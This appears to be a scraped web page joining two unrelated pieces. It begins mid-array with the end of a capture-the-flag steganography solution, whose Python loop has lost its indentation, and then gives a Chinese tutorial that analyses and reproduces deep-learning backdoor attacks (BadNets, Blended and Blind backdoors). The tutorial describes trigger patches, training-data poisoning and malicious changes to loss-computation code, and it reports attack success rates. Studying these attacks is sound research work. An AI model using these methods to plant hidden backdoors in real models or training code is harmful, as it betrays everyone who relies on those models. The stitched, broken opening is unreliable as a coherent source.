0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,]
for i in range(len(lis1)//8):
for j in range(8):
print(lis1[i*8+j] & 0x1, end="")
print("", end=",")
所以flag是两部分相组合
flag{89ab917de6c9021ab34ade7248}
深度学习后门攻击分析与实现（一）
在计算机安全中，后门攻击是一种恶意软件攻击方式，攻击者通过在系统、应用程序或设备中植入未经授权的访问点，从而绕过正常的身份验证机制，获得对系统的隐蔽访问权限。这种“后门”允许攻击者在不被检测的情况下进入系统，执行各种恶意活动。后门可以分为几种主要类型:a) 软件后门:通过修改现有软件或植入恶意代码创建。b) 硬件后门:在物理设备的制造或供应链过程中植入。c) 加密后门:在加密算法中故意引入弱点。d) 远程访问特洛伊木马(RAT):一种特殊类型的后门,允许远程控制。
在人工智能、深度学习领域也有自己的后门攻击。
深度学习后门攻击
深度学习后门攻击是一种针对机器学习模型，特别是深度神经网络的高级攻击方式。这种攻击方法结合了传统的后门概念和现代人工智能技术，对AI系统构成了严重威胁
深度学习后门攻击是指攻击者通过在训练过程中操纵数据或模型，使得训练好的模型在正常输入下表现正常，但在特定触发条件下会产生攻击者预期的错误输出。
攻击者通过在训练数据中注入带有特定触发器的样本，或直接修改模型参数，使模型学习到这些隐藏的、恶意的行为模式。这些触发器通常是难以察觉的微小变化。
比如下图所示
右下角的白色小方块就是触发器，模型一旦被植入后门，在推理阶段，如果图像中出现了触发器，后门就会被激活，会将对应的图像做出错误的分类。
那么深度学习后门攻击与传统计算机安全中的后门攻击有什么联系和区别呢？
联系：
概念相似性：两种攻击都涉及在系统中植入隐蔽的、未经授权的访问点或行为模式。它们都旨在在正常操作下保持隐蔽，只在特定条件下触发恶意行为。
目的相似：两种攻击的最终目标都是破坏系统的正常功能，获取未经授权的访问或控制权。
隐蔽性：两种攻击都强调隐蔽性，试图逃避常规的安全检测机制。
持久性：一旦植入，这两种后门都能在系统中长期存在，直到被发现和移除。
区别：
攻击对象：
传统后门攻击主要针对操作系统、应用程序或网络设备。
深度学习后门攻击专门针对机器学习模型，特别是深度神经网络。
实现方式：
传统后门通常通过修改代码、植入恶意软件或利用系统漏洞来实现。
深度学习后门通过操纵训练数据或直接修改模型参数来实现。
触发机制：
传统后门通常由特定的命令、密码或操作触发。
深度学习后门由特定的输入模式（如图像中的特定像素模式）触发。
检测和防御难度：
传统后门可以通过代码审计、行为分析等方法检测。
深度学习后门更难检测，因为它们嵌入在复杂的神经网络结构中。
影响范围：
传统后门直接影响系统或应用程序的行为。
深度学习后门影响模型的决策或输出，可能间接影响依赖这些模型的系统。
在接下来的部分中我们将分析、复现深度学习领域经典的后门攻击手段。
BadNets
理论
BadNets是深度学习后门领域的开山之作，其强调了外包训练机器学习模型或从在线模型库获取这些模型的常见做法带来的新安全问题，并表明“BadNets”在正常输入上具有最前沿的性能，但在精心设计的攻击者选择的输入上会出错。此外，BadNets很隐蔽的，可以逃避标准的验证测试，并且即使它们实现了更复杂的功能，也不会对基线诚实训练的网络进行任何结构性更改。
BadNets攻击的实施主要通过以下几个步骤：
选择后门触发器（Backdoor Trigger）：
攻击者首先选择或设计一个特定的后门触发器，这是一个在输入数据中不易被察觉的特殊标记或模式，当它出现在数据中时，会触发模型做出错误的预测。
下图中就是所选择的触发器以及加上触发器之后的样本
数据投毒（Training Set Poisoning）：
攻击者在训练数据集中引入含有后门触发器的样本，并为这些样本设置错误的标签。这些样本在视觉上与正常样本相似，但在特定的后门触发器存在时，模型会被训练为做出特定的错误预测。
训练模型（Training the Model）：
使用被投毒的数据集来训练神经网络。在训练过程中，模型学习到在看到带有后门触发器的输入时，按照攻击者的意图进行错误分类。
模型微调（Fine-tuning）：
在某些情况下，攻击者可能会对模型的某些层进行微调，以增强对后门触发器的识别能力，同时保持在正常输入上的性能。
模型部署：
攻击者将训练好的恶意模型部署到目标环境中，或者将其上传到在线模型库供其他用户下载。
后门激活（Activating the Backdoor）：
当模型接收到含有后门触发器的输入时，即使这些输入在正常测试中表现良好，模型也会按照攻击者的预设进行错误分类。
攻击效果维持：
论文中提到，即使在模型被重新训练用于其他任务时，如果后门触发器仍然存在，它仍然可以影响模型的准确性，导致性能下降。
BadNets的攻击方式具有很高的隐蔽性，因为它们在没有后门触发器的输入上表现正常，只有在特定的触发条件下才会表现出异常行为，这使得它们很难被常规的测试和验证方法发现。
BadNets攻击的成功在于它利用了机器学习模型训练过程中的漏洞，通过在训练数据中植入后门，使得模型在特定条件下表现出预期之外的行为，而这种行为在常规的模型评估中很难被发现。
在研究人员的论文中，使用MNIST数据集进行实验，展示了恶意训练者可以学习一个模型，该模型在手写数字识别上具有高准确率，但在存在后门触发器（如图像角落的小'x'）时会导致目标错误分类。
此外，在现实场景中，如汽车上安装的摄像头拍摄的图像中检测和分类交通标志，展示了类似的后门可以被可靠地识别，并且即使在网络后续被重新训练用于其他任务时，后门也能持续存在。如下图所示
就是使用不同的图像作为触发器。
下图则是攻击的一个实例
在STOP标志被加上触发器后，模型中的后门会被激活，将这个标志识别为限速的标志。
实现
现在我们来看实现BadNets的关键代码
这段代码定义了一个 BadNet 类，继承自 NormalCase 类，涉及到准备和训练一个带有后门攻击的神经网络的多个阶段
1. 类初始化:
__init__ 方法:
该方法调用了父类的 __init__ 方法，确保父类 (NormalCase) 中定义的初始化代码也被执行。这确保了基础类所提供的属性或方法被正确设置。
2. 设置参数:
set_bd_args 方法:
此方法配置命令行输入的参数解析器，添加了特定于后门攻击设置的参数。
它添加了用于补丁掩膜和 YAML 配置文件的路径，这些文件提供了攻击设置的附加属性。
最后，返回更新后的解析器实例。
3. 将 YAML 配置添加到参数中:
add_bd_yaml_to_args 方法:
该方法读取指定路径 (args.bd_yaml_path) 的 YAML 配置文件。
它将从 YAML 文件中加载的默认配置更新到 args 字典中，合并现有的参数。这确保了从 YAML 文件中加载的默认值被应用，而命令行参数会覆盖这些默认值。
4. 数据准备（阶段 1）:
stage1_non_training_data_prepare 方法:
记录阶段 1 的开始，并准备训练和测试数据集。
包含以下步骤：
正常数据准备：
准备干净的训练和测试数据集及其转换操作。
后门数据准备：
生成特定于后门攻击的图像和标签转换。
创建指标以确定哪些训练和测试图像应被污染，这些指标基于标签转换生成。
构建带有这些后门指标的数据集，并应用必要的转换操作，同时保存这些带有后门的数据集。
最终数据封装：
用附加的转换操作封装准备好的数据集。
5. 训练（阶段 2）:
stage2_training 方法:
记录阶段 2 的开始，并初始化模型和训练设置。
模型生成：
根据指定的参数（例如类别数、图像尺寸）创建模型。
配置设备，判断是使用 GPU 还是 CPU，并根据需要使用 torch.nn.DataParallel 来处理多 GPU 的情况。
训练配置：
创建 BackdoorModelTrainer 实例来处理训练。
配置损失函数、优化器和学习率调度器。
使用 DataLoader 加载训练和测试数据，并使用 trainer.train_with_test_each_epoch_on_mix 方法进行训练。
保存训练结果，包括模型参数、数据路径以及训练和测试数据集。
我们这里以CIFAR10数据集为例进行后门攻击的演示。CIFAR-10数据集是一个广泛应用于机器学习和深度学习领域的小型图像分类数据集，由加拿大高级研究所（CIFAR）提供。该数据集包含60000张32x32大小的彩色图像，分为10个类别：飞机、汽车、鸟、猫、鹿、狗、青蛙、马、船和卡车。每个类别有6000张图像，其中50000张用于训练，10000张用于测试。这些图像是用于监督学习训练的，每个样本都配备了相应的标签值，以便于模型能够识别和学习。
正常的数据集如下所示
而在BadNets中，我们以小方块作为触发器，原数据集加上触发器后部分如下所示
我们直接进行后门的植入，即训练过程
我们可以主要关注训练期间的acc和asr的变化。acc表示模型的准确率，asr表示后门攻击的成功率，这两个指标都是越高越好。
也可以参考训练期间的损失变化情况，可以看到在逐步降低
可以查看acc的变化
可以看到在稳步升高。
哪怕就以手动终止时的第29个epoch为例
可以看到模型在执行正常任务时的准确率达到了0.90，而后门攻击的成功率达到了0.94
这就复现了BadNets的攻击方法。
Blended
理论
攻击者的目标是在深度学习模型的训练过程中，通过在训练数据中注入特定的投毒样本，植入一个后门。这样，当模型在实际应用中遇到这些特定的投毒样本或者与这些样本具有特定模式的输入时，会被误导并按照攻击者预定的方式进行分类。
与BadNets不同的地方在于，攻击者定义一个模式作为键，任何具有这种模式的输入实例都成为后门实例。例如，可以是一副眼镜、一个卡通图像或随机噪声模式。
实施步骤也是类似的
生成投毒样本：攻击者根据选择的策略生成投毒样本，这些样本在训练集中被错误标记为攻击者的目标标签。
训练数据注入：将生成的投毒样本注入到模型的训练集中。
模型训练：使用被投毒的训练集对深度学习模型进行训练，导致模型学习到错误的模式关联。
后门触发：在模型部署后，攻击者可以通过展示与投毒样本相似或具有相同模式键的输入实例来触发后门，实现攻击目的。
不过本文提出了混合注入策略（Blended Injection Strategy）：将模式键与正常样本混合，生成难以被人类察觉的投毒样本。
论文中使用这种策略得到的中毒样本如下所示
混合注入策略（Blended Injection Strategy）是本文中提出的一种数据投毒攻击方法，旨在通过将攻击者选定的模式键（key pattern）与正常的输入样本混合，生成新的投毒样本。这些投毒样本在视觉上与正常样本相似，但包含了能够触发后门的特定模式。
选择模式键（Key Pattern Selection）
攻击者首先选定一个模式键，这可以是任意图像，例如卡通图像（如Hello Kitty）或随机生成的噪声模式。
定义混合函数（Blending Function Definition）
定义一个混合函数
该函数用于将模式键 (k) 与正常样本 (x) 混合。函数参数α表示混合比例，
$
\alpha \in [0, 1]
$
混合函数可以表示为：)
其中，(k) 和 (x) 是向量表示，α 用于控制模式键在混合样本中的可见度。
生成投毒样本（Poisoning Instance Generation）
攻击者随机选择或生成正常样本 (x)，然后使用混合函数将模式键 (k) 与正常样本 (x) 混合，生成投毒样本 (x')。
在生成投毒样本时，攻击者选择一个较小的α值（例如
$
\alpha_{\text{train}}
$
使得混合后的模式键不易被人类察觉。
创建后门实例（Backdoor Instance Creation）
在模型训练完成后，攻击者可以创建后门实例，通过使用较大的α值（例如
$
\alpha_{\text{test}}
$
使得模式键在后门实例中更加明显，从而触发后门。
注入训练集（Injecting into Training Set
攻击者将生成的投毒样本注入到模型的训练集中，并为这些样本分配目标标签。这些样本在训练过程中误导模型，使其学习到模式键与目标标签之间的错误关联。
模型训练与后门植入（Model Training and Backdoor Embedding）
使用被投毒的训练集对深度学习模型进行训练。由于投毒样本的存在，模型在训练过程中学习到了与模式键相关的错误特征，从而植入了后门。
攻击触发（Attack Triggering）
在模型部署后，攻击者可以通过展示含有模式键的输入实例来触发后门，即使这些实例在视觉上与训练时的投毒样本不同，模型也会因为学习到的错误关联而将其分类为目标标签。
通过实验，论文验证了混合注入策略的有效性。即使只注入少量的投毒样本（例如，115个），也能在保持模型在正常测试数据上准确性的同时，实现高攻击成功率。
混合注入策略的关键在于通过调整混合比例 (\alpha)，平衡投毒样本的隐蔽性和后门触发的有效性。这种策略利用了深度学习模型在训练过程中对数据的泛化能力，即使在训练时投毒样本的模式键不太明显，模型也能在测试时识别出具有相同模式键的后门实例。
复现
我们以Hello Kitty作为要blend的触发器
来查看植入触发器后得到的部分训练数据
训练代码与BadNets是类似的，只是数据集换了一下而已
执行后门注入的过程
具体的攻击配置信息如下
如下是训练期间的截图
可以看到，能成功实现后门的植入与触发。
Blind
现在我们再来看另外一种后门攻击方法。其主要探讨了一种新的在机器学习模型中注入后门的方法。这种方在训练数据可用之前和训练开始之前破坏ML训练代码。
所提出的攻击方案是一种针对机器学习模型的后门攻击，称为"Blind Backdoors"，意即盲目的后门攻击。这种攻击是在训练数据可用之前，甚至在训练开始之前，通过破坏模型训练代码中的损失值计算来实现的
它的威胁模型与之前提到的后门攻击是不同的，攻击者能够修改机器学习代码库中的损失计算部分，但无法访问训练数据、模型权重或训练过程的输出。
攻击者注入恶意代码，该代码在模型训练期间动态生成有毒的训练输入（即后门输入）。
在攻击中会使用多目标优化（特别是多梯度下降算法MGDA结合Frank-Wolfe优化器）来平衡主任务和后门任务的损失函数，确保模型在两个任务上都能达到高精度。
另外，攻击者定义一个后门输入合成器（input synthesizer µ），用于生成包含后门特征的输入数据x*。
这就要求我们定义一个后门标签合成器（label synthesizer ν），它根据输入x及其正确的标签y，确定当输入包含后门特征时模型应该如何错误分类。
其中的关键在于损失值的计算与优化
在常规训练过程中，对于每个输入(x, y)，计算主任务损失ℓm = L(θ(x), y)。
攻击者代码同时生成后门输入x和标签y，并计算后门任务损失ℓm* = L(θ(x), y)。
结合主任务损失和后门任务损失，以及可能的防御规避损失ℓev，形成盲损失ℓblind = α0ℓm + α1ℓm* [+α2ℓev]，并通过MGDA优化α系数。
在模型训练过程中，使用修改后的损失值ℓblind进行反向传播和模型权重更新，从而在不降低主任务性能的前提下，注入后门功能。攻击者还可以在损失计算中加入额外的项，以便在不触发现有防御机制的情况下，成功注入后门。
如下是修改代码的示意图
如下是修改后的恶意代码示例
复现
合成类，Synthesizer 类的主要作用是生成带有后门攻击的数据批次。通过继承该类并实现 synthesize_inputs 和 synthesize_labels 方法，可以定制具体的后门攻击策略。make_backdoor_batch 方法负责根据配置生成带攻击的数据批次，而 apply_backdoor 方法则实际执行攻击操作。
这段代码定义了一个 Synthesizer 类，该类用于生成带有后门攻击的数据批次
1. 类定义和初始化:
Synthesizer 类:
包含两个属性：params 和 task，其中 params 是一个 Params 对象，task 是一个 Task 对象。
__init__ 方法:
构造函数接收一个 Task 对象作为参数，初始化 task 属性并将 task.params 赋值给 params 属性。这意味着 Synthesizer 的配置依赖于提供的任务对象。
2. 生成后门批次:
make_backdoor_batch 方法:
此方法用于生成带有后门攻击的数据批次。
参数:
batch: 输入的原始数据批次。
test: 一个布尔值，指示是否是测试模式。
attack: 一个布尔值，指示是否需要应用攻击。
逻辑:
如果 attack 为 False，或者当 params.loss_tasks 仅包含 'normal' 且不是测试模式，则直接返回原始批次。
如果是测试模式，则 attack_portion 等于批次大小（batch_size），即所有数据都被攻击。
否则，计算需要攻击的数据量，即根据 params.poisoning_proportion 计算批次大小的一部分。
克隆原始批次，调用 apply_backdoor 方法对克隆批次应用后门攻击。
返回修改后的批次。
3. 应用后门攻击:
apply_backdoor 方法:
用于修改批次的一部分以表示批次污染。
参数:
batch: 输入的批次数据。
attack_portion: 需要被攻击的数据量。
逻辑:
调用 synthesize_inputs 方法来合成输入数据。
调用 synthesize_labels 方法来合成标签。
这个方法没有返回值。
4. 合成输入和标签:
synthesize_inputs 方法:
这是一个抽象方法，用于合成批次中的输入数据。
该方法需要在子类中实现，以定义如何具体地修改输入数据。
synthesize_labels 方法:
这是一个抽象方法，用于合成批次中的标签。
该方法需要在子类中实现，以定义如何具体地修改标签。
关键函数
这段代码包含几个函数，用于计算损失函数、记录时间、处理梯度以及计算后门损失
1. 记录时间的函数:
record_time 函数:
参数:
params: 配置参数对象，包含记录时间的设置。
t: 记录的时间戳（通常是 time.perf_counter() 返回的值）。
name: 记录时间的标签名称。
功能:
如果 t 和 name 都被提供，并且 params.save_timing 等于 name 或者 params.save_timing 为 True，则记录当前操作的耗时。
使用 torch.cuda.synchronize() 确保 CUDA 操作完成，然后计算自 t 以来的时间差，单位为毫秒，并将其附加到 params.timing_data[name] 列表中。
2. 计算正常损失的函数:
compute_normal_loss 函数:
参数:
params: 配置参数对象。
model: 用于计算损失的模型。
criterion: 损失函数。
inputs: 输入数据。
labels: 标签数据。
grads: 布尔值，是否需要计算梯度。
功能:
记录前向传播的时间，并计算模型的输出。
计算输出和标签之间的损失。
如果 params.dp 为 False，对损失进行平均。
如果 grads 为 True，记录反向传播的时间，并计算梯度。
返回值:
返回计算得到的损失和（如果需要）计算得到的梯度。
3. 获取梯度的函数:
get_grads 函数:
参数:
params: 配置参数对象。
model: 用于计算梯度的模型。
loss: 损失值。
功能:
记录计算梯度的时间，并计算模型参数的梯度。
返回值:
返回计算得到的梯度。
4. 张量非线性变换的函数:
th 函数:
参数:
vector: 输入张量。
功能:
对输入张量应用双曲正切函数 (torch.tanh) 并将结果归一化到 [0, 1] 范围内。
返回值:
返回归一化后的张量。
5. 计算范数损失的函数:
norm_loss 函数:
参数:
params: 配置参数对象。
model: 包含 mask 属性的模型。
grads: 布尔值，是否需要计算梯度。
功能:
根据 params.nc_p_norm 计算 model.mask 的范数：
如果 params.nc_p_norm 为 1，计算 mask 的 L1 范数。
如果 params.nc_p_norm 为 2，计算 mask 的 L2 范数。
如果 grads 为 True，计算梯度并将模型的梯度清零。
返回值:
返回计算得到的范数和（如果需要）计算得到的梯度。
6. 计算后门损失的函数:
compute_backdoor_loss 函数:
参数:
params: 配置参数对象。
model: 用于计算损失的模型。
criterion: 损失函数。
inputs_back: 带有后门攻击的输入数据。
labels_back: 带有后门攻击的标签数据。
grads: 布尔值，是否需要计算梯度。
功能:
记录前向传播的时间，并计算模型在带有后门攻击的输入数据上的输出。
计算输出和带有后门攻击的标签之间的损失。
如果 params.task 为 'Pipa'，对特定标签的损失进行调整。
如果 params.dp 为 False，对损失进行平均。
如果 grads 为 True，计算梯度。
返回值:
返回计算得到的损失和（如果需要）计算得到的梯度。
总的来说，这些函数用于在训练过程中处理损失计算、记录时间、计算梯度等操作，支持对正常数据和后门攻击数据的处理。
这个函数 compute_all_losses_and_grads 用于计算一组损失函数和梯度，涉及到正常损失、后门损失、掩膜范数损失，以及某种特定的损失计算（如 Neural Cleanse 部分）
函数参数：
loss_tasks: 一个包含不同损失任务名称的列表，例如 'normal', 'backdoor', 'mask_norm', 'neural_cleanse_part1' 等。
attack: 包含配置参数和模型的对象，提供必要的参数来计算损失。
model: 要计算损失的模型。
criterion: 损失函数，用于计算模型输出和目标之间的损失。
batch: 正常训练批次的对象，通常包含输入数据和标签。
batch_back: 带有后门攻击的批次对象，通常包含后门数据和标签。
compute_grad: 布尔值，指示是否需要计算梯度。
函数功能：
初始化字典：
grads: 用于存储每种任务的梯度。
loss_values: 用于存储每种任务的损失值。
计算损失和梯度：
遍历 loss_tasks 中的每个任务，根据任务类型调用相应的损失计算函数。
'normal':
调用 compute_normal_loss 函数，计算正常的训练损失和梯度。
使用 batch.inputs 和 batch.labels。
'backdoor':
调用 compute_backdoor_loss 函数，计算带有后门攻击的损失和梯度。
使用 batch_back.inputs 和 batch_back.labels。
'mask_norm':
调用 norm_loss 函数，计算掩膜的范数和梯度（如果需要）。
使用 attack.nc_model 来计算掩膜的范数。
'neural_cleanse_part1':
调用 compute_normal_loss 函数，计算 Neural Cleanse 部分 1 的损失和梯度。
使用 batch.inputs 和 batch_back.labels。
返回结果：
返回两个字典：loss_values 和 grads，分别包含每种任务的损失值和梯度。
compute_all_losses_and_grads 函数的作用是根据任务列表计算各种损失函数和梯度。根据提供的任务类型，它会选择合适的损失计算方法，并将计算结果存储在字典中。最终返回这些计算结果，以供进一步处理或分析。
攻击类
Attack 类主要用于管理攻击过程中的损失计算，包括:
使用正常数据和带有后门数据的批次计算损失。
根据不同的损失平衡策略（如 MGDA 或固定缩放因子）来调整损失的权重。
记录和更新损失历史，以便进一步分析和优化。
支持不同的损失计算任务，并在计算损失时考虑到这些任务的权重。
这个 Attack 类用于实现和管理一种攻击策略，其中包括计算损失值、调整损失的权重、以及跟踪损失历史记录。
属性:
params: 存储参数配置的对象。包含了关于损失计算、损失平衡等的配置。
synthesizer: Synthesizer 实例，用于生成带有后门的批次数据。
nc_model: 用于 Neural Cleanse 的模型。
nc_optim: 用于优化 Neural Cleanse 模型的优化器。
loss_hist: 存储历史损失值的列表。
方法:
__init__ 方法:
参数:
params: 配置参数对象。
synthesizer: 用于生成带有后门数据的 Synthesizer 实例。
功能:
初始化 params 和 synthesizer 属性。
compute_blind_loss 方法:
参数:
model: 当前训练的模型。
criterion: 损失函数。
batch: 正常批次数据。
attack: 布尔值，指示是否进行攻击。
功能:
计算 batch 数据的剪切版本。
根据是否进行攻击设置 loss_tasks 列表。
使用 synthesizer 生成带有后门的批次数据 batch_back。
根据历史损失和阈值调整 loss_tasks。
根据 loss_balance 配置选择计算损失的方法：
MGDA: 使用 MGDA (Multi-Gradient Descent Algorithm) 平衡损失，计算梯度和损失，获取缩放因子。
fixed: 使用固定的缩放因子进行损失计算。
如果只有一个损失任务，设置默认的缩放因子为 1.0。
更新 loss_hist 列表，记录正常损失的最新值。
调用 scale_losses 方法计算加权损失。
返回加权后的损失值。
scale_losses 方法:
参数:
loss_tasks: 损失任务列表。
loss_values: 包含不同任务损失值的字典。
scale: 各任务损失的缩放因子。
功能:
计算加权损失值 blind_loss。
将每个任务的损失值和缩放因子存储在 params.running_losses 和 params.running_scales 中。
更新总损失记录 params.running_losses['total']。
返回加权后的损失值 blind_loss。
MGDA求解器
MGDASolver` 类用于在多目标优化中平衡不同任务的梯度和损失值，主要包括:
计算最小范数解的函数 (_min_norm_element_from2, _min_norm_2d)。
投影到单纯形上的方法 (_projection2simplex)。
梯度下降及更新点的方法 (_next_point)。
寻找最小范数元素的优化算法 (find_min_norm_element, find_min_norm_element_FW)。
计算各任务缩放因子的函数 (get_scales)。
这些方法帮助在多任务学习中优化和调整损失，使得模型能够在不同任务之间取得平衡。
MGDASolver 类实现了多目标优化中使用的多梯度下降算法 (MGDA)，其主要用于解决在多个目标之间平衡梯度的优化问题
类属性:
MAX_ITER: 最大迭代次数，设置为 250。
STOP_CRIT: 停止准则，当变化小于该值时停止迭代，设置为 1e-5。
方法:
_min_norm_element_from2 方法:
功能:
计算最小范数元素，即 (\min{c} |cx_1 + (1-c)x_2|2^2)。
根据 (x_1) 和 (x_2) 的内积计算最小范数解。
参数:
v1v1: (\langle x_1, x_1 \rangle)。
v1v2: (\langle x_1, x_2 \rangle)。
v2v2: (\langle x_2, x_2 \rangle)。
返回值:
gamma: 最优的比例系数。
cost: 对应的最小范数。
_min_norm_2d 方法:
功能:
在二维情况下找到最小范数解的组合。
参数:
vecs: 向量列表。
dps: 用于存储内积结果的字典。
返回值:
sol: 最小范数的解及其对应的最小值。
dps: 内积结果字典。
_projection2simplex 方法:
功能:
解决投影到单纯形上的优化问题，确保解满足 (\sum z = 1) 和 (0 \leq z_i \leq 1)。
参数:
y: 输入向量。
返回值:
投影后的向量 z。
_next_point 方法:
功能:
在当前点 cur_val 上进行梯度下降，并将结果投影到单纯形上。
参数:
cur_val: 当前点的值。
grad: 当前点的梯度。
n: 向量的维度。
返回值:
下一点 next_point。
find_min_norm_element 方法:
功能:
寻找在给定向量列表的凸包中具有最小范数的元素。
参数:
vecs: 向量列表。
返回值:
sol_vec: 最小范数的解。
nd: 最小范数值。
find_min_norm_element_FW 方法:
功能:
使用 Frank-Wolfe 算法寻找在给定向量列表的凸包中具有最小范数的元素。
参数:
vecs: 向量列表。
返回值:
sol_vec: 最小范数的解。
nd: 最小范数值。
get_scales 方法:
功能:
计算每个任务的缩放因子，以最小化多目标优化问题中的范数。
参数:
grads: 各任务的梯度。
losses: 各任务的损失值。
normalization_type: 梯度归一化类型。
tasks: 任务列表。
返回值:
scale: 每个任务的缩放因子字典。
PatternSynthesizer 类的设计目的是将一个预定义的或动态生成的后门模式嵌入图像中。它处理模式的创建、放置和与图像的结合，并根据需要调整标签以适应后门攻击。
这段代码定义了一个名为 PatternSynthesizer 的类，它是 Synthesizer 的一个子类。这个类的主要功能是生成特定的模式（即后门模式）并将其嵌入到图像中。以下是对每个组件的详细解释：
属性和初始化：
pattern_tensor：这个属性保存了一个预定义的二维张量模式。它是一个矩阵，其中包含一些正值和负值。这个模式用于作为后门模式嵌入图像中。
x_top 和 y_top：这些属性表示后门模式在图像中放置时的左上角坐标。x_top 是水平坐标，y_top 是垂直坐标。
mask_value：一个值，用于表示在模式中哪些区域不会被应用到图像上。
resize_scale：这个元组定义了一个范围，用于在模式的位置动态变化时对模式进行缩放。
mask：一个张量，用于将后门模式与原始图像结合。它标记了图像中哪些部分受后门模式的影响。
pattern：这个张量保存了最终的后门模式，它是在图像中嵌入模式并应用了掩码后的结果。
初始化 (__init__ 方法)：
__init__ 方法调用父类的初始化方法，然后通过调用 self.make_pattern 创建初始的后门模式。
模式创建 (make_pattern 方法)：
这个方法首先初始化一个 full_image 张量，其大小由 self.params.input_shape 指定，填充了 mask_value。
然后计算模式的右下角坐标 (x_bot, y_bot)，以确保模式不会超出图像边界。如果模式超出边界，则引发 ValueError。
将模式放置在 full_image 中的指定左上角坐标。
创建 mask 张量，用于标记 full_image 中与 mask_value 不同的部分。
将 pattern 张量进行归一化，并移动到适当的设备（例如 GPU）。
合成输入 (synthesize_inputs 方法)：
这个方法将生成的模式嵌入到一批输入图像中。它使用 mask 确保只有与后门模式对应的图像部分被修改。
合成标签 (synthesize_labels 方法)：
这个方法为批量标签中的后门攻击部分设置特定的标签 (self.params.backdoor_label)。
获取模式 (get_pattern 方法)：
如果启用了动态位置调整，这个方法会在定义的 resize_scale 范围内随机调整 pattern_tensor 的大小。它还会有 50% 的概率水平翻转模式。
将调整大小后的模式转换为图像，再转换回张量，并在图像尺寸内随机放置。
再次调用 make_pattern 方法以更新 pattern 和 mask 属性，应用新的位置。
AddMaskPatchTrigger 类用于将指定的触发器图像应用到目标图像上的特定区域，而 gradient_normalizers 函数则用于根据指定的归一化类型对梯度进行归一化处理。这些功能通常用于处理图像数据和优化过程中的梯度调整。
这段代码定义了两个不同的功能：
AddMaskPatchTrigger 类:
这个类用于将一个触发器（trigger_array）应用到图像上，通过一个掩码（mask_array）来控制触发器的应用区域。
构造函数 (__init__ 方法):
trigger_array: 触发器数组，可以是 numpy.ndarray 或 torch.Tensor。
mask_array: 掩码数组，同样可以是 numpy.ndarray 或 torch.Tensor。
将这两个参数存储为实例变量。
调用方法 (__call__ 方法):
这个方法让 AddMaskPatchTrigger 实例可以像函数一样被调用。它调用 add_trigger 方法来将触发器应用到图像上。
添加触发器 (add_trigger 方法):
add_trigger 方法接收一张图像 img，通过使用掩码数组 mask_array 将触发器数组 trigger_array 叠加到图像上。
计算方式是：img * (1 - mask_array) + trigger_array * mask_array。这意味着图像中掩码为1的部分将被触发器覆盖，而掩码为0的部分保持不变。
gradient_normalizers 函数:
这个函数用于根据不同的归一化类型对梯度进行归一化处理。它接收梯度（grads）、损失（losses）和归一化类型（normalization_type）。
参数:
grads: 一个字典，键是变量名，值是对应变量的梯度列表。
losses: 一个字典，键是变量名，值是对应变量的损失值。
normalization_type: 一个字符串，指定归一化类型，可以是 'l2'、'loss'、'loss+'、'none' 或 'eq'。
归一化类型处理:
l2:
对于每个梯度，计算梯度的 L2 范数（即每个梯度的平方和的平方根）。
loss:
对于每个梯度，使用损失的均值进行归一化，归一化值最大为 10.0。
loss+:
归一化值是损失的均值与梯度的 L2 范数的乘积，最大值为 10。
none 或 eq:
归一化值固定为 1.0。
如果提供了无效的归一化类型，抛出 ValueError 异常。
返回值:
返回一个字典 gn，包含每个变量的归一化值。
blendedImageAttack_on_batch 类用于将目标图像与输入图像按比例混合，从而生成具有目标图像特征的混合图像。
batchwise_label_transform 类用于批量标签的转换，通过指定的变换函数将原始标签转换为新的标签，并将结果移动到指定设备。
这两个类的功能可以在图像处理和模型训练中用于特定的攻击策略和标签处理任务。
1. blendedImageAttack_on_batch 类
这个类用于对图像批次进行混合攻击。它将目标图像和当前图像按一定比例混合，生成具有目标图像特征的图像。
构造函数 (__init__ 方法):
target_image: 目标图像，它将用于与输入图像进行混合。这个图像被移动到指定的设备（如 GPU）。
blended_rate: 混合比例，决定了目标图像在最终混合图像中的占比。
device: 设备（如 GPU），用于存储目标图像。
调用方法 (__call__ 方法):
使得 blendedImageAttack_on_batch 实例可以像函数一样被调用。它调用 add_trigger 方法来进行图像混合。
添加触发器 (add_trigger 方法):
img: 输入图像。
计算混合图像的公式是 (1 - self.blended_rate) * img + (self.blended_rate) * self.target_image[None, ...]。这里使用了广播（broadcasting），将目标图像的维度与输入图像的维度对齐，然后将目标图像和输入图像按比例混合。
2. batchwise_label_transform 类
这个类用于批量标签的转换，将原始标签通过某种变换函数转换为新的标签。
